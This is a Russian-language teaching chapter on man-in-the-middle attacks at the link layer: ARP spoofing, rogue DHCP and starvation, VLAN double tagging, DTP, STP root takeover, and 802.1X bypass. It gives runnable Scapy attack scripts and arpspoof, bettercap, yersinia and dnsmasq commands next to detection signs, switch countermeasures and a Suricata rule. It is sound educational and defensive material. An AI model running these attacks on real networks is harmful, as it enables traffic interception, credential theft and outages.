Человек посередине на канальном уровне: ARP, DHCP, VLAN, STP, 802.1X
Канальный уровень решает задачи, которые выше по стеку выглядят как данность: найти MAC-адрес по IP, получить адрес и маршрут по умолчанию, доставить кадр только в свой сегмент, не зациклить широковещательный шторм, пустить в порт только того, кому разрешено. Все эти механизмы проектировались для сети, где участники честны, а порт коммутатора — это физическая розетка в охраняемом помещении.
Как только в сегменте появляется чужое устройство, каждый из механизмов превращается в точку опоры. ARP не требует подтверждения, DHCP отвечает тот, кто успел, VLAN отделяет сегменты только на доверенном оборудовании, STP выбирает корень по наименьшему идентификатору, а 802.1X проверяет не человека, а устройство. Ни один из этих протоколов не аутентифицирует соседа криптографически — и именно поэтому канальный уровень остаётся самым дешёвым способом оказаться посередине.
Тема 04 основной программы разбирала Ethernet и коммутацию, тема 05 — VLAN и STP, тема 07 — ARP, тема 14 — DHCP. Здесь эти механизмы берутся в той части, где они доверяют входным данным. Границы: NDP и IPv6 — тема 03, атаки на TCP — тема 04. Всё, что ниже, происходит внутри одного широковещательного домена или на пути к нему.
Тень базового курса: протоколы без аутентификации
В основной программе ARP описан как простой и элегантный протокол: запрос «кто такой 192.0.2.1?» рассылается широковещательно, владелец отвечает своим MAC, все остальные запоминают пару. Элегантность в том, что ответ не требует подтверждения и принимается любым узлом, даже если запроса не было.
Именно это свойство — не ошибка реализации, а проектное решение 1982 года 1. В сети, где все участники доверяют друг другу, экономия на аутентификации оправдана. В сети, где появился чужой, она означает, что любой узел может объявить себя шлюзом, и трафик пойдёт через него.
Та же логика у DHCP: клиент кричит в широковещательный домен «дайте адрес», и отвечает первый, кто услышал. У STP: коммутатор верит BPDU, пришедшему в порт, и готов уступить корень тому, кто объявил себя лучшим. У 802.1X: порт открывается после обмена EAPOL, но сам обмен не защищён от подмены на кабеле. Дальше — по каждому механизму.
ARP: как работает и почему ломается
Запись в кеше и её состояния
Ядро Linux хранит соседей в таблице nd_tbl (для IPv4 — в arp_tbl), а состояние записи видно в ip neigh:
ip neigh show dev eth0
192.0.2.1 lladdr 02:42:ac:11:00:01 REACHABLE
192.0.2.20 lladdr 02:42:ac:11:00:14 STALE
192.0.2.99 lladdr 02:42:ac:11:00:63 FAILED
Состояния важны для атаки. REACHABLE означает, что запись подтверждена недавно; STALE — что подтверждение устарело, но запись используется; FAILED — что разрешение не удалось. По истечении gc_stale_time (по умолчанию 60 секунд) запись переходит в STALE, а gc_thresh ограничивает размер таблицы. Переполнение таблицы — отдельный приём: если забить её мусорными записями, новые разрешения начнут вытеснять старые, и часть трафика пойдёт через повторный ARP.
Gratuitous ARP — ответ без запроса, которым узел объявляет свой адрес. Он используется при смене MAC, при поднятии интерфейса и при отказоустойчивости. Проверка конфликта адресов (ACD, RFC 5227) тоже строится на нём: перед назначением адреса узел спрашивает, не занят ли он 7. Атакующий использует тот же механизм, чтобы перезаписать чужие записи.
Спуфинг и человек посередине
Идея проста: отправить жертве ARP-ответ, в котором адрес шлюза связан с MAC атакующего. Жертва обновит кеш и начнёт слать пакеты не шлюзу, а атакующему. Тот включает форвардинг, чтобы трафик не пропадал, и становится прозрачным посредником.
from scapy.all import ARP, Ether, sendp, get_if_hwaddr
import sys
iface = "eth0"
victim_ip, victim_mac = "192.0.2.10", "02:42:ac:11:00:0a"
gateway_ip, gateway_mac = "192.0.2.1", "02:42:ac:11:00:01"
attacker_mac = get_if_hwaddr(iface)
def poison(target_ip, target_mac, claimed_ip):
pkt = Ether(dst=target_mac) / ARP(
op=2, psrc=claimed_ip, pdst=target_ip,
hwsrc=attacker_mac, hwdst=target_mac)
sendp(pkt, iface=iface, verbose=False)
for _ in range(5):
poison(victim_ip, victim_mac, gateway_ip)
poison(gateway_ip, gateway_mac, victim_ip)
Разбор значимых строк: op=2 — ARP-ответ; psrc — адрес, который присваивается; hwsrc — MAC атакующего; кадр адресован конкретному получателю, чтобы не шуметь на весь сегмент. Повтор нужен потому, что запись в кеше живёт ограниченное время и может быть перезаписана настоящим шлюзом.
На практике то же самое делают готовыми инструментами:
arpspoof -i eth0 -t 192.0.2.10 192.0.2.1
bettercap -iface eth0 -eval "set arp.spoof.targets 192.0.2.10; arp.spoof on"
arpspoof шлёт поддельные ответы в обе стороны; bettercap добавляет перехват и логирование. Для трафика, который не шифруется, дальше достаточно tcpdump или встроенного сниффера: HTTP-запросы, FTP- и Telnet-пароли видны в открытом виде.
Обратная сторона — заметность. Поддельный ARP-ответ отличается от настоящего только содержанием, но частота выдаёт: два узла, объявляющих один адрес, — классический признак. arpwatch и журналы коммутатора фиксируют смену привязки.
ARP-шторм и proxy ARP
ARP-шторм — не атака, а следствие петли или ошибки: широковещательные запросы ходят по кругу и забивают полосу. Вред для атакующего двоякий: шторм заметен и мешает перехвату. Но он же маскирует поддельные ответы, если теряются в потоке.
Proxy ARP — штатный механизм, при котором маршрутизатор отвечает на ARP за адреса из другой сети. Включённый по ошибке на интерфейсе, он превращает маршрутизатор в точку перехвата для целой подсети, и обнаружить это можно только по таблице соседей и конфигурации.
DHCP: кто первым ответил
DORA и опции
DHCP-клиент проходит четыре шага: Discover (широковещательно), Offer (сервер предлагает адрес), Request (клиент просит его закрепить), Ack (сервер подтверждает). Вся четвёрка идёт до получения адреса, и в ней нет аутентификации 2.
Ключевые опции: 3 — маршрут по умолчанию, 6 — DNS-серверы, 15 — доменное имя, 119 — домен поиска, 121 — классless-маршруты. Подменив опцию 3 и 6, атакующий получает и путь трафика, и имена.
dnsmasq --no-daemon --interface=eth0 --bind-interfaces \
--dhcp-range=192.0.2.100,192.0.2.150,12h \
--dhcp-option=3,192.0.2.66 \
--dhcp-option=6,192.0.2.66 \
--dhcp-option=15,nsu.example
Конфигурация поднимает сервер, который выдаёт адреса из своего пула и объявляет себя шлюзом и DNS. Если настоящий сервер отвечает медленнее, клиент примет предложение атакующего.
Голодание пула и подставной сервер
DHCP-голодание — отправка большого числа Discover с разными MAC. Каждый запрос резервирует адрес, пул исчерпывается, новые клиенты не получают адресов. Это отказ в обслуживании, но у него есть вторая роль: освободившееся место занимает подставной сервер, и клиенты, которые не смогли получить адрес у настоящего, приходят к нему.
yersinia dhcp -attack 1 -interface eth0
yersinia генерирует Discover с поддельными MAC; скорость ограничивается, чтобы не переполнить таблицу коммутатора раньше времени.
WPAD и опция 119
Опция 119 задаёт список доменов поиска. Клиент, которому нужно разрешить короткое имя, перебирает суффиксы и в какой-то момент запрашивает wpad.<домен>. Если атакующий отвечает на это имя, браузер и система могут автоматически забрать конфигурацию прокси по HTTP — и весь трафик пойдёт через него. Это не отдельная уязвимость, а следствие того, что WPAD включён по умолчанию во многих сборках.
Защита: отключить автоматическое определение прокси, не выдавать опцию 119 без необходимости, контролировать имена wpad в DNS.
VLAN и STP: границы сегмента
802.1Q, double tagging и native VLAN
Тег 802.1Q добавляет к кадру четыре байта: TPID 0x8100, приоритет, DEI и VID 3. Access-порт снимает тег при передаче клиенту, trunk-порт передаёт тегированными. Native VLAN — та, чьи кадры идут по trunk без тега; это компромисс совместимости, и он же — дыра.
Double tagging использует то, что коммутатор снимает только внешний тег. Кадр с двумя тегами: внешний — native VLAN, внутренний — целевая VLAN. Первый коммутатор снимает внешний тег и передаёт кадр дальше с внутренним, который второй коммутатор уже воспринимает как свой. Условие — совпадение native VLAN на первом транке и доступность целевой VLAN на втором.
from scapy.all import Ether, Dot1Q, IP, ICMP, sendp
pkt = (Ether(dst="02:42:ac:11:00:01") /
Dot1Q(vlan=1) /
Dot1Q(vlan=20) /
IP(src="192.0.2.10", dst="192.0.2.20") /
ICMP())
sendp(pkt, iface="eth0")
Первый тег — native VLAN, второй — целевая. Если коммутатор настроен на удаление только внешнего тега, кадр уйдёт во VLAN 20.
DTP и switch spoofing
DTP (Dynamic Trunking Protocol) — проприетарный протокол Cisco, который автоматически договаривается о транке. Порт в режиме dynamic auto или dynamic desirable может стать транком, если противоположная сторона попросит. Подделав DTP-кадры, атакующий получает транк и доступ ко всем VLAN.
Защита: switchport nonegotiate, явный access на клиентских портах, отключение неиспользуемых портов.
STP: корень, BPDU и topology change
STP строит дерево без петель, выбирая корневой мост с наименьшим bridge ID 6. BPDU — кадры, которыми обмениваются коммутаторы; они не аутентифицированы. Отправив BPDU с лучшим (меньшим) приоритетом, атакующий становится корнем и пропускает через себя трафик всех VLAN, которые проходят через его порт 4.
from scapy.all import Ether, LLC, STP, sendp
pkt = (Ether(dst="01:80:c2:00:00:00") /
LLC(dsap=0x42, ssap=0x42, ctrl=3) /
STP(rootid=0, bridgeid=0, rootpathcost=0))
sendp(pkt, iface="eth0", loop=1, inter=2)
rootid=0 и bridgeid=0 делают объявителя безусловно лучшим. Постоянная рассылка держит топологию в нестабильности: каждый BPDU с лучшим параметром вызывает пересчёт, и сеть проводит время в сходимости.
Topology Change Notification (TCN) — отдельный приём: частая смена топологии заставляет коммутаторы сокращать время жизни записей FDB, что увеличивает лавинную рассылку и облегчает перехват.
Защита: BPDU guard на клиентских портах, root guard на портах, где корень не должен появляться, bpdufilter там, где BPDU не нужны вовсе.
802.1X: контроль доступа на порту
EAPOL, MAB и обходы
802.1X открывает порт после успешной аутентификации: supplicant (клиент), authenticator (коммутатор) и authentication server (RADIUS) обмениваются EAP-сообщениями внутри EAPOL 5. До аутентификации порт пропускает только EAPOL.
MAB (MAC Authentication Bypass) — упрощённый режим: коммутатор сам отправляет MAC-адрес устройства в RADIUS как логин. Устройства без supplicant (принтеры, камеры) так получают доступ. Обход очевиден: подменить MAC на MAC доверенного устройства.
Другие приёмы: EAPOL logoff — отправить кадр завершения сеанса от имени жертвы, чтобы её порт закрылся; вставка хаба между supplicant и коммутатором — трафик проходит через атакующего уже после аутентификации; EAPOL-флуд — забить таблицу состояний коммутатора.
# подмена MAC на интерфейсе
ip link set eth0 down
ip link set eth0 address 02:42:ac:11:00:63
ip link set eth0 up
Защита: 802.1X с EAP-TLS и проверкой сертификата устройства, отключение MAB там, где он не нужен, macsec для шифрования канала, контроль EAPOL-кадров на портах.
Обнаружение и защита
| Приём | Признак | Контрмера |
|---|---|---|
| ARP-спуфинг | один IP у двух MAC, частая смена | DAI, arpwatch, статические записи |
| ARP-шторм | рост широковещательных кадров | storm control, поиск петли |
| Подставной DHCP | Offer от неразрешённого сервера | DHCP snooping, port security |
| DHCP-голодание | много Discover с разными MAC | rate limit, snooping |
| Double tagging | кадры с двумя тегами | не использовать native VLAN для клиентов |
| DTP | DTP-кадры на клиентском порту | nonegotiate, явный access |
| Захват STP | BPDU с лучшим приоритетом | BPDU guard, root guard |
| 802.1X-обход | смена MAC, EAPOL logoff | MAB только по списку, EAP-TLS |
Правило Suricata на поддельный DHCP-сервер:
alert udp !$DHCP_SERVERS 67 -> any 68 (msg:"DHCP rogue server offer"; \
content:"|02|"; offset:0; depth:1; \
classtype:attempted-admin; sid:1000010; rev:1;)
Правило опирается на список разрешённых DHCP-серверов; всё, что отвечает из другого адреса, считается подозрительным. В учебной сети список задаётся переменной DHCP_SERVERS.
Итоги темы
Канальный уровень держится на доверии: ARP верит ответу, DHCP — первому предложению, STP — лучшему BPDU, 802.1X — устройству на порту. Каждое из этих допущений в основной программе выглядело естественным, потому что сеть считалась дружественной; в апокрифе оно становится точкой входа.
Перехват на L2 дешевле любого другого: он не требует ни уязвимости, ни пароля, ни особых прав — только доступ в сегмент. Именно поэтому защита строится не на протоколе, а на инфраструктуре: DAI, DHCP snooping, port security, BPDU guard, 802.1X и, там где нужно, MACsec.
Следующая тема поднимается на уровень IP и разбирает, что происходит, когда чужой пакет приходит не в свой сегмент, а из сети.
Литература
- Plummer D. C. An Ethernet Address Resolution Protocol. — RFC 826, IETF, 1982. https://www.rfc-editor.org/rfc/rfc826
- Droms R. Dynamic Host Configuration Protocol. — RFC 2131, IETF, 1997. https://www.rfc-editor.org/rfc/rfc2131
- IEEE Standard for Local and Metropolitan Area Networks — Bridges and Bridged Networks. — IEEE 802.1Q-2018, 2018.
- IEEE Standard for Local and Metropolitan Area Networks — Media Access Control (MAC) Bridges. — IEEE 802.1D-2004, 2004.
- IEEE Standard for Local and Metropolitan Area Networks — Port-Based Network Access Control. — IEEE 802.1X-2020, 2020.
- Kurose J. F., Ross K. W. Computer Networking: A Top-Down Approach. 8th ed. — Pearson, 2021.
- Cheshire S., Krochmal M., Sekar K. IPv4 Address Conflict Detection. — RFC 5227, IETF, 2008. https://www.rfc-editor.org/rfc/rfc5227